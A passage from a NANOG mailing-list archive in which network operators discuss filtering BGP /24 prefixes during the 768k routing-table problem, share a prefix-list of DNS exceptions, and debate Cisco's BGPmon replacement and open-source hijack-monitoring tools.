blacklists for which contacts there would be helpful (I am not one). /mark Daniel Temple VP of Operations Pyranah Communications, LLC 828-743-2470 ext.205 Pyranah.com Like us on Facebook! From dwhite at olp.net Wed May 15 13:36:55 2019 From: dwhite at olp.net (Dan White) Date: Wed, 15 May 2019 08:36:55 -0500 Subject: BGP prefix filter list In-Reply-To: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> Message-ID: <20190515133655.GC24647@zeno.bixbytelephone.com> We recently filtered out >=/24 prefixes since we're impacted by 768k day. I'm attaching our lightly researched list of exceptions. I'm interested in what others' operational experience is with filtering in this way. Filtering /24s cut our table down to around 315K. On 05/15/19 13:43 +0200, Baldur Norddahl wrote: >Hello > >This morning we apparently had a problem with our routers not handling >the full table. So I am looking into culling the least useful prefixes >from our tables. I can hardly be the first one to take on that kind of >project, and I am wondering if there is a ready made prefix list or >similar? > >Or maybe we have a list of worst offenders? I am looking for ASN that >announces a lot of unnecessary /24 prefixes and which happens to be >far away from us? I would filter those to something like /20 and then >just have a default route to catch all. > >Thanks, > >Baldur > -- Dan White BTC Broadband Network Admin Lead Ph 918.366.0248 (direct) main: (918)366-8000 Fax 918.366.6610 email: dwhite at mybtc.com http://www.btcbroadband.com -------------- next part -------------- ip prefix-list root-dns seq 1 permit 198.41.0.0/24 ip prefix-list root-dns seq 2 permit 199.9.14.0/24 ip prefix-list root-dns seq 3 permit 192.33.4.0/24 ip prefix-list root-dns seq 4 permit 199.7.91.0/24 ip prefix-list root-dns seq 5 permit 192.203.230.0/24 ip prefix-list root-dns seq 6 permit 192.5.5.0/24 ip prefix-list root-dns seq 7 permit 192.112.36.0/24 ip prefix-list root-dns seq 8 permit 198.97.190.0/24 ip prefix-list root-dns seq 9 permit 192.36.148.0/24 ip prefix-list root-dns seq 10 permit 192.58.128.0/24 ip prefix-list root-dns seq 11 permit 193.0.14.0/24 ip prefix-list root-dns seq 12 permit 199.7.83.0/24 ip prefix-list root-dns seq 13 permit 202.12.27.0/24 ip prefix-list arpa-dns seq 1 permit 199.180.182.0/24 ip prefix-list arpa-dns seq 2 permit 199.253.183.0/24 ip prefix-list arpa-dns seq 3 permit 196.216.169.0/24 ip prefix-list arpa-dns seq 4 permit 203.119.86.0/24 ip prefix-list arpa-dns seq 5 permit 193.0.9.0/24 ip prefix-list gtld-dns seq 1 permit 192.5.6.0/24 ip prefix-list gtld-dns seq 2 permit 192.33.14.0/24 ip prefix-list gtld-dns seq 3 permit 192.26.92.0/24 ip prefix-list gtld-dns seq 4 permit 192.31.80.0/24 ip prefix-list gtld-dns seq 5 permit 192.12.94.0/24 ip prefix-list gtld-dns seq 6 permit 192.35.51.0/24 ip prefix-list gtld-dns seq 7 permit 192.42.93.0/24 ip prefix-list gtld-dns seq 8 permit 192.54.112.0/24 ip prefix-list gtld-dns seq 9 permit 192.43.172.0/24 ip prefix-list gtld-dns seq 10 permit 192.48.79.0/24 ip prefix-list gtld-dns seq 11 permit 192.52.178.0/24 ip prefix-list gtld-dns seq 12 permit 192.41.162.0/24 ip prefix-list gtld-dns seq 13 permit 192.55.83.0/24 ip prefix-list common-public-dns seq 1 permit 8.8.8.0/24 ip prefix-list common-public-dns seq 2 permit 8.8.4.0/24 ip prefix-list common-public-dns seq 3 permit 199.85.126.0/24 ip prefix-list common-public-dns seq 4 permit 199.85.127.0/24 ip prefix-list common-public-dns seq 5 permit 208.67.222.0/24 ip prefix-list common-public-dns seq 6 permit 208.67.220.0/24 ip prefix-list common-public-dns seq 7 permit 8.26.56.0/24 ip prefix-list common-public-dns seq 8 permit 8.20.247.0/24 ip prefix-list common-public-dns seq 9 permit 64.6.64.0/24 ip prefix-list common-public-dns seq 10 permit 64.6.65.0/24 ip prefix-list common-public-dns seq 11 permit 1.1.1.0/24 ip prefix-list common-public-dns seq 12 permit 1.0.0.0/24 ! ARIN ip prefix-list critical-infrastructure seq 1 permit 149.112.112.0/24 ip prefix-list critical-infrastructure seq 2 permit 149.112.149.0/24 ip prefix-list critical-infrastructure seq 6 permit 192.30.45.0/24 ip prefix-list critical-infrastructure seq 9 permit 192.34.238.0/24 ip prefix-list critical-infrastructure seq 13 permit 192.42.173.0/24 ip prefix-list critical-infrastructure seq 14 permit 192.42.178.0/24 ip prefix-list critical-infrastructure seq 21 permit 192.68.130.0/24 ip prefix-list critical-infrastructure seq 22 permit 192.81.185.0/24 ip prefix-list critical-infrastructure seq 23 permit 192.82.133.0/24 ip prefix-list critical-infrastructure seq 24 permit 192.82.138.0/24 ip prefix-list critical-infrastructure seq 25 permit 192.149.62.0/24 ip prefix-list critical-infrastructure seq 26 permit 192.149.63.0/24 ip prefix-list critical-infrastructure seq 27 permit 192.149.64.0/24 ip prefix-list critical-infrastructure seq 28 permit 192.149.65.0/24 ip prefix-list critical-infrastructure seq 29 permit 192.149.66.0/24 ip prefix-list critical-infrastructure seq 30 permit 192.158.252.0/24 ip prefix-list critical-infrastructure seq 31 permit 192.228.21.0/24 ip prefix-list critical-infrastructure seq 32 permit 192.228.79.0/24 ip prefix-list critical-infrastructure seq 33 permit 192.228.92.0/24 ip prefix-list critical-infrastructure seq 34 permit 199.4.137.0/24 ip prefix-list critical-infrastructure seq 35 permit 199.4.138.0/24 ip prefix-list critical-infrastructure seq 36 permit 199.4.144.0/24 ip prefix-list critical-infrastructure seq 37 permit 199.5.26.0/24 ip prefix-list critical-infrastructure seq 38 permit 199.6.14.0/24 ip prefix-list critical-infrastructure seq 39 permit 199.7.64.0/24 ip prefix-list critical-infrastructure seq 40 permit 199.7.65.0/24 ip prefix-list critical-infrastructure seq 41 permit 199.7.71.0/24 ip prefix-list critical-infrastructure seq 42 permit 199.7.76.0/24 ip prefix-list critical-infrastructure seq 43 permit 199.7.77.0/24 ip prefix-list critical-infrastructure seq 44 permit 199.7.80.0/24 ip prefix-list critical-infrastructure seq 45 permit 199.7.81.0/24 ip prefix-list critical-infrastructure seq 47 permit 199.7.86.0/24 ip prefix-list critical-infrastructure seq 48 permit 199.7.87.0/24 ip prefix-list critical-infrastructure seq 49 permit 199.7.90.0/24 ip prefix-list critical-infrastructure seq 51 permit 199.7.92.0/24 ip prefix-list critical-infrastructure seq 52 permit 199.10.66.0/24 ip prefix-list critical-infrastructure seq 53 permit 199.15.88.0/24 ip prefix-list critical-infrastructure seq 54 permit 199.43.0.0/24 ip prefix-list critical-infrastructure seq 55 permit 199.71.0.0/24 ip prefix-list critical-infrastructure seq 56 permit 199.84.0.0/24 ip prefix-list critical-infrastructure seq 57 permit 199.115.158.0/24 ip prefix-list critical-infrastructure seq 58 permit 199.212.0.0/24 ip prefix-list critical-infrastructure seq 59 permit 199.233.56.0/24 ip prefix-list critical-infrastructure seq 60 permit 199.249.255.0/24 ip prefix-list critical-infrastructure seq 61 permit 199.253.62.0/24 ip prefix-list critical-infrastructure seq 62 permit 199.253.63.0/24 ip prefix-list critical-infrastructure seq 63 permit 199.253.181.0/24 ip prefix-list critical-infrastructure seq 64 permit 199.253.249.0/24 ip prefix-list critical-infrastructure seq 65 permit 199.254.27.0/24 From phil.lavin at cloudcall.com Wed May 15 13:44:57 2019 From: phil.lavin at cloudcall.com (Phil Lavin) Date: Wed, 15 May 2019 13:44:57 +0000 Subject: BGP prefix filter list In-Reply-To: <20190515133655.GC24647@zeno.bixbytelephone.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515133655.GC24647@zeno.bixbytelephone.com> Message-ID: > We recently filtered out >=/24 prefixes since we're impacted by 768k day. What kind of network are you running? Doing such prefix filtering on an eyeball network strikes me as insane - you'd be cutting off customers from huge swathes of the Internet (including small companies like us) that don't have large IPv4 sequential allocations. From daknob.mac at gmail.com Wed May 15 13:46:33 2019 From: daknob.mac at gmail.com (Antonios Chariton) Date: Wed, 15 May 2019 16:46:33 +0300 Subject: BGP prefix filter list In-Reply-To: <20190515133655.GC24647@zeno.bixbytelephone.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515133655.GC24647@zeno.bixbytelephone.com> Message-ID: <63C43536-297A-42EC-B6AD-EC7CB17F8BA1@gmail.com> If you have multiple transit providers and still want to be able to push traffic to the best path (no default route), then maybe a filter that will accept only AS Path 2/3 or shorter per transit provider, and a default route for the rest. You will get significantly less prefixes, and BGP path selection will work “locally”. For far away prefixes though (more than 4 ASes away), you will not (always) pick the best path. > On 15 May 2019, at 16:36, Dan White wrote: > > We recently filtered out >=/24 prefixes since we're impacted by 768k day. > I'm attaching our lightly researched list of exceptions. I'm interested in > what others' operational experience is with filtering in this way. > > Filtering /24s cut our table down to around 315K. > > On 05/15/19 13:43 +0200, Baldur Norddahl wrote: >> Hello >> >> This morning we apparently had a problem with our routers not handling the full table. So I am looking into culling the least useful prefixes from our tables. I can hardly be the first one to take on that kind of project, and I am wondering if there is a ready made prefix list or similar? >> >> Or maybe we have a list of worst offenders? I am looking for ASN that announces a lot of unnecessary /24 prefixes and which happens to be far away from us? I would filter those to something like /20 and then just have a default route to catch all. >> >> Thanks, >> >> Baldur >> > > -- > Dan White > BTC Broadband > Network Admin Lead > Ph 918.366.0248 (direct) main: (918)366-8000 > Fax 918.366.6610 email: dwhite at mybtc.com > http://www.btcbroadband.com > From dwhite at olp.net Wed May 15 13:52:47 2019 From: dwhite at olp.net (Dan White) Date: Wed, 15 May 2019 08:52:47 -0500 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515133655.GC24647@zeno.bixbytelephone.com> Message-ID: <20190515135247.GD24647@zeno.bixbytelephone.com> On 05/15/19 13:44 +0000, Phil Lavin wrote: >> We recently filtered out >=/24 prefixes since we're impacted by 768k day. > >What kind of network are you running? Doing such prefix filtering on an >eyeball network strikes me as insane - you'd be cutting off customers from >huge swathes of the Internet (including small companies like us) that don't >have large IPv4 sequential allocations. We're an eyeball network. We accept default routes from our transit providers so in theory there should be no impact on reachability. I'm pretty concerned about things that I don't know due to inefficient routing, e.g. customers hitting a public anycast DNS server in the wrong location resulting in Geolocation issues. -- Dan White BTC Broadband Network Admin Lead Ph 918.366.0248 (direct) main: (918)366-8000 Fax 918.366.6610 email: dwhite at mybtc.com http://www.btcbroadband.com From bruns at 2mbit.com Wed May 15 13:53:22 2019 From: bruns at 2mbit.com (Brielle) Date: Wed, 15 May 2019 07:53:22 -0600 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515133655.GC24647@zeno.bixbytelephone.com> Message-ID: <84D68F28-1F19-467B-853E-B6D3063ECA32@2mbit.com> Would also cut out anyone who uses /24s for anycast, or just general traffic control... Or as you put it, an insane amount of important stuff. Sent from my iPhone On May 15, 2019, at 7:44 AM, Phil Lavin wrote: >> We recently filtered out >=/24 prefixes since we're impacted by 768k day. > > What kind of network are you running? Doing such prefix filtering on an eyeball network strikes me as insane - you'd be cutting off customers from huge swathes of the Internet (including small companies like us) that don't have large IPv4 sequential allocations. From nanog at ics-il.net Wed May 15 13:56:01 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 15 May 2019 08:56:01 -0500 (CDT) Subject: BGP prefix filter list In-Reply-To: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> Message-ID: <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> What is the most common platform people are using with such limitations? How long ago was it deprecated? ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Baldur Norddahl" To: nanog at nanog.org Sent: Wednesday, May 15, 2019 6:43:30 AM Subject: BGP prefix filter list Hello This morning we apparently had a problem with our routers not handling the full table. So I am looking into culling the least useful prefixes from our tables. I can hardly be the first one to take on that kind of project, and I am wondering if there is a ready made prefix list or similar? Or maybe we have a list of worst offenders? I am looking for ASN that announces a lot of unnecessary /24 prefixes and which happens to be far away from us? I would filter those to something like /20 and then just have a default route to catch all. Thanks, Baldur -------------- next part -------------- An HTML attachment was scrubbed... URL: From phil.lavin at cloudcall.com Wed May 15 13:58:23 2019 From: phil.lavin at cloudcall.com (Phil Lavin) Date: Wed, 15 May 2019 13:58:23 +0000 Subject: BGP prefix filter list In-Reply-To: <20190515135247.GD24647@zeno.bixbytelephone.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515133655.GC24647@zeno.bixbytelephone.com> <20190515135247.GD24647@zeno.bixbytelephone.com> Message-ID: > We're an eyeball network. We accept default routes from our transit providers so in theory there should be no impact on reachability. > I'm pretty concerned about things that I don't know due to inefficient routing, e.g. customers hitting a public anycast DNS server in the wrong location resulting in Geolocation issues. Ah! Understood. The default route(s) was the bit I missed. Makes a lot of sense if you can't justify buying new routers. Have you seen issues with Anycast routing thus far? One would assume that routing would still be fairly efficient unless you're picking up transit from non-local providers over extended L2 links. From jlewis at lewis.org Wed May 15 14:11:58 2019 From: jlewis at lewis.org (Jon Lewis) Date: Wed, 15 May 2019 10:11:58 -0400 (EDT) Subject: BGP prefix filter list In-Reply-To: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> Message-ID: On Wed, 15 May 2019, Baldur Norddahl wrote: > Hello > > This morning we apparently had a problem with our routers not handling the > full table. So I am looking into culling the least useful prefixes from our > tables. I can hardly be the first one to take on that kind of project, and I > am wondering if there is a ready made prefix list or similar? > > Or maybe we have a list of worst offenders? I am looking for ASN that > announces a lot of unnecessary /24 prefixes and which happens to be far away > from us? I would filter those to something like /20 and then just have a > default route to catch all. This may be too old to be terribly useful other than as a starting point, but we went through essentially the same thing a little more than 10 years ago: http://jonsblog.lewis.org/2008/01/19#bgp ---------------------------------------------------------------------- Jon Lewis, MCP :) | I route | therefore you are _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From jlewis at lewis.org Wed May 15 14:14:57 2019 From: jlewis at lewis.org (Jon Lewis) Date: Wed, 15 May 2019 10:14:57 -0400 (EDT) Subject: BGP prefix filter list In-Reply-To: <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> Message-ID: On Wed, 15 May 2019, Mike Hammett wrote: > What is the most common platform people are using with such limitations? How long ago was it deprecated? One network's deprecated router is another network's new [bargain priced] core router. :) ---------------------------------------------------------------------- Jon Lewis, MCP :) | I route | therefore you are _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From dwhite at olp.net Wed May 15 14:25:46 2019 From: dwhite at olp.net (Dan White) Date: Wed, 15 May 2019 09:25:46 -0500 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515133655.GC24647@zeno.bixbytelephone.com> <20190515135247.GD24647@zeno.bixbytelephone.com> Message-ID: <20190515142546.GE24647@zeno.bixbytelephone.com> On 05/15/19 13:58 +0000, Phil Lavin wrote: >> We're an eyeball network. We accept default routes from our transit >> providers so in theory there should be no impact on reachability. >> >> I'm pretty concerned about things that I don't know due to inefficient >> routing, e.g. customers hitting a public anycast DNS server in the wrong >> location resulting in Geolocation issues. > >Ah! Understood. The default route(s) was the bit I missed. Makes a lot of >sense if you can't justify buying new routers. > >Have you seen issues with Anycast routing thus far? One would assume that >routing would still be fairly efficient unless you're picking up transit >from non-local providers over extended L2 links. We've had no issues so far but this was a recent change. There was no noticeable change to outbound traffic levels. -- Dan White BTC Broadband Network Admin Lead Ph 918.366.0248 (direct) main: (918)366-8000 Fax 918.366.6610 email: dwhite at mybtc.com http://www.btcbroadband.com From dovid at telecurve.com Wed May 15 14:26:27 2019 From: dovid at telecurve.com (Dovid Bender) Date: Wed, 15 May 2019 10:26:27 -0400 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> Message-ID: You have no idea how sad and true this is. On Wed, May 15, 2019 at 10:16 AM Jon Lewis wrote: > On Wed, 15 May 2019, Mike Hammett wrote: > > > What is the most common platform people are using with such limitations? > How long ago was it deprecated? > > One network's deprecated router is another network's new [bargain priced] > core router. :) > > ---------------------------------------------------------------------- > Jon Lewis, MCP :) | I route > | therefore you are > _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ > -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Wed May 15 15:10:52 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 15 May 2019 10:10:52 -0500 (CDT) Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> Message-ID: <127132006.3178.1557933048055.JavaMail.mhammett@ThunderFuck> Eh... you'll find it hard to get that past me. I know hundreds of self-funded ISPs that don't have route table size issues. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Jon Lewis" To: "Mike Hammett" Cc: nanog at nanog.org Sent: Wednesday, May 15, 2019 9:14:57 AM Subject: Re: BGP prefix filter list On Wed, 15 May 2019, Mike Hammett wrote: > What is the most common platform people are using with such limitations? How long ago was it deprecated? One network's deprecated router is another network's new [bargain priced] core router. :) ---------------------------------------------------------------------- Jon Lewis, MCP :) | I route | therefore you are _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Wed May 15 15:28:01 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Wed, 15 May 2019 09:28:01 -0600 Subject: BGP prefix filter list In-Reply-To: <127132006.3178.1557933048055.JavaMail.mhammett@ThunderFuck> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> <127132006.3178.1557933048055.JavaMail.mhammett@ThunderFuck> Message-ID: <29086d99-2014-a67a-3e25-00bec9a48a2f@2mbit.com> On 5/15/2019 9:10 AM, Mike Hammett wrote: > Eh...  you'll find it hard to get that past me. I know hundreds of > self-funded ISPs that don't have route table size issues. Lots of good non-big vendor options these days - times have changed for sure. I'm running an EdgeRouter Infinity with BGP feeds for v4 and v6 at home - very reasonably priced router with lots of ports and functionality. Even the old EdgeRouter Lite supported multiple BGP tables - and that was 7 years ago at a ~ $100 price point. But, for sub 200 can get an ER4 which will do most of the things the $1000+ routers will do. 'Tik, white box Linux/BSD, etc all offer good options at varying price points. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From christoffer at netravnen.de Wed May 15 15:46:09 2019 From: christoffer at netravnen.de (Hansen, Christoffer) Date: Wed, 15 May 2019 17:46:09 +0200 Subject: BGP prefix filter list In-Reply-To: <29086d99-2014-a67a-3e25-00bec9a48a2f@2mbit.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> <127132006.3178.1557933048055.JavaMail.mhammett@ThunderFuck> <29086d99-2014-a67a-3e25-00bec9a48a2f@2mbit.com> Message-ID: <87dfdf10-4cd6-7d57-4f49-94986171907a@netravnen.de> On 15/05/2019 17:28, Brielle Bruns wrote: > Lots of good non-big vendor options these days - times have changed for > sure. Indeed. > 'Tik, white box Linux/BSD, etc all offer good options at varying price > points. Any pointers and/or references, when looking into speeds *above* what is possible with aggregated 10G links? From bruns at 2mbit.com Wed May 15 15:58:23 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Wed, 15 May 2019 09:58:23 -0600 Subject: BGP prefix filter list In-Reply-To: <87dfdf10-4cd6-7d57-4f49-94986171907a@netravnen.de> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> <127132006.3178.1557933048055.JavaMail.mhammett@ThunderFuck> <29086d99-2014-a67a-3e25-00bec9a48a2f@2mbit.com> <87dfdf10-4cd6-7d57-4f49-94986171907a@netravnen.de> Message-ID: <6879dd33-d7e2-8235-b396-d7ef8bf891ab@2mbit.com> On 5/15/2019 9:46 AM, Hansen, Christoffer wrote: > >> 'Tik, white box Linux/BSD, etc all offer good options at varying price >> points. > > Any pointers and/or references, when looking into speeds *above* what is > possible with aggregated 10G links? > That's a good question - I've not gotten past 10G yet. Cheaply, you could get ConnectX-3 40G PCIe cards and throw them in your favorite Dell/HP/Supermicro/other rack mount server with your Linux/BSD distro of choice, or VyOS for that matter. There are instructions online on converting the IB versions of the Mellanox cards to their Ethernet counterparts, if you want to cut some cost even more. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From karsten.elfenbein at gmail.com Wed May 15 16:23:26 2019 From: karsten.elfenbein at gmail.com (Karsten Elfenbein) Date: Wed, 15 May 2019 18:23:26 +0200 Subject: BGP prefix filter list In-Reply-To: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> Message-ID: Hi, did you find https://labs.ripe.net/Members/emileaben/768k-day-will-it-happen-did-it-happen ? It has further links at the end as well. If you hit the 768k issue for IPv4 you might look at IPv6 as well as there might be a 64k limit on some tcam profiles. If there is no IPv6 in use (very sad face) there might be the option to switch to a 1m IPv4 route profile. Using a default route might influence Reverse Path Forwarding on the device. But you can apply outbound ACL on upstream ports as well. The weekly routing table report has lists of worst offenders when it comes to de aggregation or https://www.cidr-report.org/as2.0/ Karsten Am Mi., 15. Mai 2019 um 13:45 Uhr schrieb Baldur Norddahl : > > Hello > > This morning we apparently had a problem with our routers not handling > the full table. So I am looking into culling the least useful prefixes > from our tables. I can hardly be the first one to take on that kind of > project, and I am wondering if there is a ready made prefix list or similar? > > Or maybe we have a list of worst offenders? I am looking for ASN that > announces a lot of unnecessary /24 prefixes and which happens to be far > away from us? I would filter those to something like /20 and then just > have a default route to catch all. > > Thanks, > > Baldur > From mike-nanog at tiedyenetworks.com Wed May 15 17:20:58 2019 From: mike-nanog at tiedyenetworks.com (Mike) Date: Wed, 15 May 2019 10:20:58 -0700 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> Message-ID: <2c40df22-3541-e1b8-2301-46da4dd9377b@tiedyenetworks.com> On 5/15/19 7:26 AM, Dovid Bender wrote: > You have no idea how sad and true this is.  > > On Wed, May 15, 2019 at 10:16 AM Jon Lewis > wrote: > > On Wed, 15 May 2019, Mike Hammett wrote: > > > What is the most common platform people are using with such > limitations? How long ago was it deprecated? > > One network's deprecated router is another network's new [bargain > priced] > core router.  :) > This is very true. I picked up a nicely equipped juniper mx240 - waayyyy overkill for my current operation - for far, far cheaper than anything I could have otherwise afforded new. Absolutely killer could not be happier, and J has won a convert. But, I find this seems to be the thing - needing capacity/feature sets/etc just to be able to stand still, but not having the revenue stream to actually pay new for what these vendors want to charge for their gear/licenses/etc. Mike- -------------- next part -------------- An HTML attachment was scrubbed... URL: From nj at ancientalien.com Tue May 14 05:09:27 2019 From: nj at ancientalien.com (NJ) Date: Mon, 13 May 2019 22:09:27 -0700 Subject: USA to Mexico IXP Equipment Recommendations Message-ID: Advice and/or suggestions wanted. Any input greatly appreciated. *Scenario:* We have run fiber from the USA to Mexico and have an exchange point in place. Our fiber connections are dark and therefore we can use any configuration we want on as many pairs as we want. Currently we have decided to light two 100gig connections and they are piping across the border already. We have 200gig going to Los Angeles (Wilshire Adjacent) and are looking to the mexico interested community of network engineers to identify how our peering point in Tijuana can be made to best service the networks in the region (and abroad if they build in). Our IXP is good, but we want to update/upgrade and put in a future-compatible robust solution instead of what we have in there now. We are an open IXP and are wondering how you would prefer to peer and what your equipment recommendations are and why. We're not afraid to spend (some) money but we do want it to not be complete overkill however should last at least 5 to 10 years before any upgrade would be required. Also to note, we are running our own bandwidth over the pipes as well so we would like to keep them separated. *Norm* A.A.S. R.A. Lifetime Member *Archaeology, Astronautics and SETI Research Association* SETI Project Lifetime Contributor -------------- next part -------------- An HTML attachment was scrubbed... URL: From stephend at ameslab.gov Wed May 15 13:44:37 2019 From: stephend at ameslab.gov (Douglas C. Stephens) Date: Wed, 15 May 2019 08:44:37 -0500 Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> References: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> Message-ID: <4d257705-a9ba-ad45-7937-aae231a048d2@ameslab.gov> I would like to point out another more straightforward ignorant UI design decision for this new service. The login screen assumes and requires all Cisco.com account usernames to be email addresses. Many are not, especially for folks like me who have had theirs for decades. On 5/15/2019 4:50 AM, Hank Nussbacher wrote: > I have started to use Cisco Crosswork Network Insights which is the > replacement for BGPmon and I am shocked at how Cisco has managed to > destroy a useful tool.  I have had a paid 50 prefix account since the > day BGPmon became available and helped two clients implement a 500 > prefix license over the past 4 years.  None will be buying Cisco > Crosswork Network Insights, based on my recommendation. > > I really don’t know where to begin since there is so much to dislike in > this new GUI.  I will try to give you just a small taste but I suggest > you request a 90 day trial license and try it out for yourself. > > This was not designed by someone who deals with BGP hijacks or who > manages a network.  It was probably given to some GUI developer with a > minimal understanding of what the users needed.   How do I know this?  > Take for example the main configuration menu: > https://crosswork.cisco.com/#/configuration with the first tab of > “prefixes”.  On that page there is *no* mention of which ASN the prefix > is associated with.  That of course was fundamental in the BGPmon menu: > https://portal.bgpmon.net/myprefixes.php > > Or take for example its “express configuration”, where you insert an ASN > and it automatically finds all prefixes and creates a policy.  But does > it know the name of the ASN?  Nope.  Something again that was basic in > BGPmon via: https://portal.bgpmon.net/myasn.php is non-existent in CNI. > > Or how about the alarms one gets to an email?  Want to see how that looks? > > From: Crosswork Admin [mailto:admin at crosswork.cisco.com] > Sent: 15 May 2019 11:39 > To: Hank Nussbacher > Subject: CCNI Notification > > Active alarm count 1 starting at 2019-05-15 08:34:42.960762315 +0000 > UTC. Please click on the link for each alarm below: > https://crosswork.cisco.com/#/alarm/ba7c5084-f05d-4c12-a17f-be9e815d6647 > > Compare that with what we used to get: > >   > > ==================================================================== > Possible Prefix Hijack (Code: 10) > ==================================================================== > > Your prefix:          99.201.0.0/16: > Prefix Description:   Kuku net > Update time:          2018-08-12 17:50 (UTC) > Detected by #peers:   140 > Detected prefix:      99.201.131.0/24 > Announced by:         AS222246 (BGP hijacking Ltd) > Upstream AS:          AS111111 (Clueless ISP allowing customer hijacking > Ltd) > ASpath:               555555 444444 333333 111111 222246 > Alert details:        > https://portal.bgpmon.net/alerts.php?details&alert_id=830521190 > Mark as false alert:  https://portal.bgpmon.net/fp.php?aid=830521190 > > That is just a small sampling.  Maybe two years down the road, Cisco > will speak to customers first before destroying a useful service. > > Anyone else trying this out and feels the same or feels differently? > > Disappointed, > Hank > >   > -- Douglas C. Stephens | Network Systems Analyst Information Technology | Phone: (515) 294-6102 Ames Laboratory, US DOE | Email: stephend at ameslab.gov From nanog at radu-adrian.feurdean.net Wed May 15 17:46:42 2019 From: nanog at radu-adrian.feurdean.net (Radu-Adrian Feurdean) Date: Wed, 15 May 2019 19:46:42 +0200 Subject: BGP prefix filter list In-Reply-To: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> Message-ID: <503b4a05-6e83-49d7-92b4-718c4f2ae384@www.fastmail.com> On Wed, May 15, 2019, at 13:44, Baldur Norddahl wrote: > Or maybe we have a list of worst offenders? I am looking for ASN that > announces a lot of unnecessary /24 prefixes and which happens to be far > away from us? I would filter those to something like /20 and then just > have a default route to catch all. Hi, You can start here : http://www.cidr-report.org/as2.0/#Gains You will have to do some manual work in order to identify how to optimally filter, but you may save some space. But the more important questions are: - how long will it last after one round of clean-up ? - can't you afford to use default route ? You can use tools like AS-Stats (or the more expensive and much more powerful alternatives) if your hardware allows it, in order to get the ASes that you have close to no traffic towards and leave those via default. Or, if you can afford a dedicated internet border router, there are models that start getting to decent pricing level on refurbished market (a thought to ASR9001 that should be pretty cheap these days). From dwcarder at es.net Wed May 15 17:58:24 2019 From: dwcarder at es.net (Dale W. Carder) Date: Wed, 15 May 2019 10:58:24 -0700 Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: <20190515101606.GO54046@hanna.meerval.net> References: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> <20190515101606.GO54046@hanna.meerval.net> Message-ID: <20190515175824.GC64519@dwc-laptop.dhcp.lbnl.us> Thus spake Job Snijders (job at ntt.net) on Wed, May 15, 2019 at 12:16:06PM +0200: > > I recognise the issue you describe, and I'd like to share with you that > we're going down another road. Nowadays, RIPE NCC offers a streaming API > ("RIS Live") which has the data needed to analyse and correlate BGP > UPDATES seen in the wild to business rules you as operator define. > > NTT folks are working on https://github.com/nlnog/bgpalerter/ - which > relies on "RIPE RIS Live", this software should become a competitive > replacement to current BGP monitoring tools. Stay tuned, the software > will be more useful in the course of the next few weeks. Similarly, one can integrate CAIDA's BGPStream Broker Service[1] into their own tools. Like bgpalerter above, working with open source or rolling your own tools is increasingly straightforward[2] due to these community projects. Another viable project to keep an eye on is ARTEMIS[3] for monitoring. Dale [1] https://bgpstream.caida.org/data [2] https://github.com/dwcarder/bgpwatch [3] https://www.inspire.edu.gr/artemis/ From ross at tajvar.io Wed May 15 18:18:17 2019 From: ross at tajvar.io (Ross Tajvar) Date: 